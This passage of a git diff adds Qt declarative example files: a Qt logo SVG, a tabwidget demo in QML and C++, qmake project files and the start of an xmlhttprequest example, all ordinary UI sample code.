1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/ui-components/spinner/spinner64.png b/examples/declarative/ui-components/spinner/spinner64.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/ui-components/spinner/spinner64.png
Binary files differ
diff --git a/examples/declarative/ui-components/spinner/spinner80.png b/examples/declarative/ui-components/spinner/spinner80.png
new file mode 100644
index 00000000..6ad8096c
--- /dev/null
+++ b/examples/declarative/ui-components/spinner/spinner80.png
Binary files differ
diff --git a/examples/declarative/ui-components/tabwidget/main.cpp b/examples/declarative/ui-components/tabwidget/main.cpp
new file mode 100644
index 00000000..9e4ab923
--- /dev/null
+++ b/examples/declarative/ui-components/tabwidget/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qmlapplicationviewer.h"
+#include <QtGui/QApplication>
+
+Q_DECL_EXPORT int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/tabwidget/main.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/ui-components/tabwidget/qml/tabwidget/TabWidget.qml b/examples/declarative/ui-components/tabwidget/qml/tabwidget/TabWidget.qml
new file mode 100644
index 00000000..0c31063a
--- /dev/null
+++ b/examples/declarative/ui-components/tabwidget/qml/tabwidget/TabWidget.qml
@@ -0,0 +1,102 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: tabWidget
+
+ // Setting the default property to stack.children means any child items
+ // of the TabWidget are actually added to the 'stack' item's children.
+ // See the "Property Binding"
+ // documentation for details on default properties.
+ default property alias content: stack.children
+
+ property int current: 0
+
+ onCurrentChanged: setOpacities()
+ Component.onCompleted: setOpacities()
+
+ function setOpacities() {
+ for (var i = 0; i < stack.children.length; ++i) {
+ stack.children[i].opacity = (i == current ? 1 : 0)
+ }
+ }
+
+ Row {
+ id: header
+
+ Repeater {
+ model: stack.children.length
+ delegate: Rectangle {
+ width: tabWidget.width / stack.children.length; height: 36
+
+ Rectangle {
+ width: parent.width; height: 1
+ anchors { bottom: parent.bottom; bottomMargin: 1 }
+ color: "#acb2c2"
+ }
+ BorderImage {
+ anchors { fill: parent; leftMargin: 2; topMargin: 5; rightMargin: 1 }
+ border { left: 7; right: 7 }
+ source: "tab.png"
+ visible: tabWidget.current == index
+ }
+ Text {
+ horizontalAlignment: Qt.AlignHCenter; verticalAlignment: Qt.AlignVCenter
+ anchors.fill: parent
+ text: stack.children[index].title
+ elide: Text.ElideRight
+ font.bold: tabWidget.current == index
+ }
+ MouseArea {
+ anchors.fill: parent
+ onClicked: tabWidget.current = index
+ }
+ }
+ }
+ }
+
+ Item {
+ id: stack
+ width: tabWidget.width
+ anchors.top: header.bottom; anchors.bottom: tabWidget.bottom
+ }
+}
diff --git a/examples/declarative/ui-components/tabwidget/qml/tabwidget/main.qml b/examples/declarative/ui-components/tabwidget/qml/tabwidget/main.qml
new file mode 100644
index 00000000..3334fb74
--- /dev/null
+++ b/examples/declarative/ui-components/tabwidget/qml/tabwidget/main.qml
@@ -0,0 +1,99 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+TabWidget {
+ id: tabs
+ width: 640; height: 480
+
+ Rectangle {
+ property string title: "Red"
+ anchors.fill: parent
+ color: "#e3e3e3"
+
+ Rectangle {
+ anchors.fill: parent; anchors.margins: 20
+ color: "#ff7f7f"
+ Text {
+ width: parent.width - 20
+ anchors.centerIn: parent; horizontalAlignment: Qt.AlignHCenter
+ text: "Roses are red"
+ font.pixelSize: 20
+ wrapMode: Text.WordWrap
+ }
+ }
+ }
+
+ Rectangle {
+ property string title: "Green"
+ anchors.fill: parent
+ color: "#e3e3e3"
+
+ Rectangle {
+ anchors.fill: parent; anchors.margins: 20
+ color: "#7fff7f"
+ Text {
+ width: parent.width - 20
+ anchors.centerIn: parent; horizontalAlignment: Qt.AlignHCenter
+ text: "Flower stems are green"
+ font.pixelSize: 20
+ wrapMode: Text.WordWrap
+ }
+ }
+ }
+
+ Rectangle {
+ property string title: "Blue"
+ anchors.fill: parent; color: "#e3e3e3"
+
+ Rectangle {
+ anchors.fill: parent; anchors.margins: 20
+ color: "#7f7fff"
+ Text {
+ width: parent.width - 20
+ anchors.centerIn: parent; horizontalAlignment: Qt.AlignHCenter
+ text: "Violets are blue"
+ font.pixelSize: 20
+ wrapMode: Text.WordWrap
+ }
+ }
+ }
+}
diff --git a/examples/declarative/ui-components/tabwidget/qml/tabwidget/tab.png b/examples/declarative/ui-components/tabwidget/qml/tabwidget/tab.png
new file mode 100644
index 00000000..ad802160
--- /dev/null
+++ b/examples/declarative/ui-components/tabwidget/qml/tabwidget/tab.png
Binary files differ
diff --git a/examples/declarative/ui-components/tabwidget/tabwidget.pro b/examples/declarative/ui-components/tabwidget/tabwidget.pro
new file mode 100644
index 00000000..47361ab6
--- /dev/null
+++ b/examples/declarative/ui-components/tabwidget/tabwidget.pro
@@ -0,0 +1,39 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/tabwidget
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xEDBDFC1B
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/ui-components/tabwidget
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/ui-components/tabwidget/tabwidget.qmlproject b/examples/declarative/ui-components/tabwidget/tabwidget.qmlproject
new file mode 100644
index 00000000..efeeb5e5
--- /dev/null
+++ b/examples/declarative/ui-components/tabwidget/tabwidget.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/tabwidget"
+ }
+ JavaScriptFiles {
+ directory: "qml/tabwidget"
+ }
+ ImageFiles {
+ directory: "qml/tabwidget"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/ui-components/tabwidget/tabwidget.svg b/examples/declarative/ui-components/tabwidget/tabwidget.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/ui-components/tabwidget/tabwidget.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/ui-components/tabwidget/tabwidget64.png b/examples/declarative/ui-components/tabwidget/tabwidget64.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/ui-components/tabwidget/tabwidget64.png
Binary files differ
diff --git a/examples/declarative/ui-components/tabwidget/tabwidget80.png b/examples/declarative/ui-components/tabwidget/tabwidget80.png
new file mode 100644
index 00000000..6ad8096c
--- /dev/null
+++ b/examples/declarative/ui-components/tabwidget/tabwidget80.png
Binary files differ
diff --git a/examples/declarative/ui-components/ui-components.pro b/examples/declarative/ui-components/ui-components.pro
new file mode 100644
index 00000000..62d1cdf8
--- /dev/null
+++ b/examples/declarative/ui-components/ui-components.pro
@@ -0,0 +1,11 @@
+TEMPLATE = subdirs
+
+SUBDIRS += dialcontrol \
+ flipable \
+ main \
+ progressbar \
+ scrollbar \
+ searchbox \
+ slideswitch \
+ spinner \
+ tabwidget
diff --git a/examples/declarative/xml/xmlhttprequest-example/main.cpp b/examples/declarative/xml/xmlhttprequest-example/main.cpp
new file mode 100644
index 00000000..82e6a3bc
--- /dev/null
+++ b/examples/declarative/xml/xmlhttprequest-example/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(QLatin1String("qml/xmlhttprequest-example/xmlhttprequest-example.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/xml/xmlhttprequest-example/qml/xmlhttprequest-example/data.xml b/examples/declarative/xml/xmlhttprequest-example/qml/xmlhttprequest-example/data.xml
new file mode 100644
index 00000000..8b7f1e11
--- /dev/null
+++ b/examples/declarative/xml/xmlhttprequest-example/qml/xmlhttprequest-example/data.xml
@@ -0,0 +1,5 @@
+<data>
+ <element1 />
+ <element2 />
+</data>
+
diff --git a/examples/declarative/xml/xmlhttprequest-example/qml/xmlhttprequest-example/xmlhttprequest-example.qml b/examples/declarative/xml/xmlhttprequest-example/qml/xmlhttprequest-example/xmlhttprequest-example.qml
new file mode 100644
index 00000000..4edb9bf1
--- /dev/null
